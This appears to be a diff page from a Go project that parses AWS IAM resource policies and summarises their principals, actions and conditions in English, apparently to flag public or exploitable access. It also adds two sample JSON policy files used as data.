return psp.S == "" && psp.O.IsEmpty()
}
func (psp *PolicyStatementPrincipal) IsPublic() bool {
return psp.S == "*" || psp.O.IsPublic()
}
type PolicyStatementPrincipalObject struct {
AWS ListOrString `json:"AWS,omitempty"`
CanonicalUser ListOrString `json:"CanonicalUser,omitempty"`
Federated ListOrString `json:"Federated,omitempty"`
Service ListOrString `json:"Service,omitempty"`
}
func (pspo *PolicyStatementPrincipalObject) IsEmpty() bool {
return len(pspo.AWS) == 0 &&
len(pspo.CanonicalUser) == 0 &&
len(pspo.Federated) == 0 &&
len(pspo.Service) == 0
}
func (pspo *PolicyStatementPrincipalObject) IsPublic() bool {
for _, s := range pspo.AWS {
if s == "*" {
return true
}
}
return false
}
func (pspo *PolicyStatementPrincipalObject) GetListOfPrincipals() []string {
var allPrincipals []string
allPrincipals = append(allPrincipals, pspo.AWS...)
allPrincipals = append(allPrincipals, pspo.CanonicalUser...)
allPrincipals = append(allPrincipals, pspo.Federated...)
allPrincipals = append(allPrincipals, pspo.Service...)
return allPrincipals
}
type ListOrString []string
func (ls *ListOrString) UnmarshalJSON(b []byte) error {
var s string
if err := json.Unmarshal(b, &s); err == nil {
*ls = append(*ls, s)
return nil
}
var ss []string
if err := json.Unmarshal(b, &ss); err == nil {
*ls = ss
return nil
}
return errors.New("not a string or list of strings")
}
+135
View File
@@ -0,0 +1,135 @@
package policy
import (
"fmt"
"strings"
)
type PolicyStatement struct {
Sid string `json:"Sid,omitempty"`
Effect string `json:"Effect"`
Principal PolicyStatementPrincipal `json:"Principal,omitempty"`
Action ListOrString `json:"Action"`
NotAction ListOrString `json:"NotAction,omitempty"`
Resource ListOrString `json:"Resource,omitempty"`
Condition PolicyStatementCondition `json:"Condition,omitempty"`
}
func (ps *PolicyStatement) IsEmpty() bool {
return ps.Sid == "" &&
ps.Effect == "" &&
ps.Principal.IsEmpty() &&
len(ps.Action) < 1 &&
len(ps.Resource) < 1 &&
ps.Condition.IsEmpty()
}
func (ps *PolicyStatement) IsAllow() bool {
return strings.TrimSpace(strings.ToLower(ps.Effect)) == "allow"
}
func (ps *PolicyStatement) GetAllActionsAsString() string {
actions := ""
if len(ps.Action) < 3 {
for _, action := range ps.Action {
if ps.Effect == "Allow" {
actions = fmt.Sprintf("%scan %s & ", actions, action)
} else if ps.Effect == "Deny" {
actions = fmt.Sprintf("%sis denied %s & ", actions, action)
}
}
} else {
if ps.Effect == "Allow" {
actions = fmt.Sprintf("can perform %d actions", len(ps.Action))
} else if ps.Effect == "Deny" {
actions = fmt.Sprintf("is denied %d actions", len(ps.Action))
}
}
actions = strings.TrimSuffix(actions, " & ")
actions = actions + "\n"
return actions
}
func (ps *PolicyStatement) GetAllPrincipalsAsString() string {
principals := ""
// if len(ps.Principal.O.GetListOfPrincipals()) < 3 {
// for _, principal := range ps.Principal.O.GetListOfPrincipals() {
// principals = fmt.Sprintf("%s%s & ", principals, principal)
// }
// } else {
// principals = fmt.Sprintf("%s%d principals", principals, len(ps.Principal.O.GetListOfPrincipals()))
// }
// principals = strings.TrimSuffix(principals, " & ")
// principals = principals + "\n"
// return principals
for _, principal := range ps.Principal.O.GetListOfPrincipals() {
if len(ps.Principal.O.GetListOfPrincipals()) > 1 {
principals = fmt.Sprintf("%s%s \n& ", principals, principal)
} else {
principals = fmt.Sprintf("%s%s", principals, principal)
}
}
if principals == "" && ps.Principal.S == "*" {
principals = "Everyone"
}
// replace " &\n--" in principals with just a newline
principals = strings.TrimSuffix(principals, " \n& ")
principals = principals + "\n"
return principals
}
func (ps *PolicyStatement) GetConditionsInEnglish(caller string) string {
conditionTextAll := ""
for condition, kv := range ps.Condition {
if condition == "StringEquals" || condition == "ArnEquals" {
condition = "="
} else if condition == "StringLike" || condition == "ArnLike" {
condition = "is like"
}
for k, v := range kv {
for _, arn := range v {
var conditionText string
if (k == "AWS:SourceOwner" || k == "AWS:SourceAccount") && contains(v, caller) {
conditionText = "Default resource policy: Not exploitable"
} else {
conditionText = fmt.Sprintf("-> Only when %s %s %s\n", k, condition, arn)
}
conditionTextAll = fmt.Sprintf("%s%s", conditionTextAll, conditionText)
// trim the last newline character
//conditionTextAll = strings.TrimSuffix(conditionTextAll, "\n")
}
}
}
return conditionTextAll
}
func (ps *PolicyStatement) GetStatementSummaryInEnglish(caller string) string {
var statementSummary string
actions := ps.GetAllActionsAsString()
principals := ps.GetAllPrincipalsAsString()
conditions := ps.GetConditionsInEnglish(caller)
if conditions == "Default resource policy: Not exploitable" {
statementSummary = "Default resource policy: Not exploitable\n" + "\n"
} else if conditions != "\n" {
statementSummary = fmt.Sprintf("%s %s %s", strings.TrimSuffix(principals, "\n"), actions, conditions)
} else {
statementSummary = fmt.Sprintf("%s %s\n", strings.TrimSuffix(principals, "\n"), actions)
}
// trim the last newline character
//statementSummary = strings.TrimSuffix(statementSummary, "\n")
return statementSummary
}
@@ -0,0 +1,42 @@
{
"Version": "2012-10-17",
"Statement": [
{
"Action": "ec2:*",
"Effect": "Allow",
"Resource": "*"
},
{
"Effect": "Allow",
"Action": "elasticloadbalancing:*",
"Resource": "*"
},
{
"Effect": "Allow",
"Action": "cloudwatch:*",
"Resource": "*"
},
{
"Effect": "Allow",
"Action": "autoscaling:*",
"Resource": "*"
},
{
"Effect": "Allow",
"Action": "iam:CreateServiceLinkedRole",
"Resource": "*",
"Condition": {
"StringEquals": {
"iam:AWSServiceName": [
"autoscaling.amazonaws.com",
"ec2scheduled.amazonaws.com",
"elasticloadbalancing.amazonaws.com",
"spot.amazonaws.com",
"spotfleet.amazonaws.com",
"transitgateway.amazonaws.com"
]
}
}
}
]
}
@@ -0,0 +1 @@
{"Statement":[{"Effect":"Allow","Principal":"*","Action":"SNS:Publish","Resource":"arn:aws:sns:us-east-1:123456789012:MyFirstTopic","Condition":{"StringEquals":{"aws:sourceVpce":"vpce-1a2b3c4d"}}}]}
Loaded 100 of 117 files, more files were not shown because too many files have changed in this diff. Show more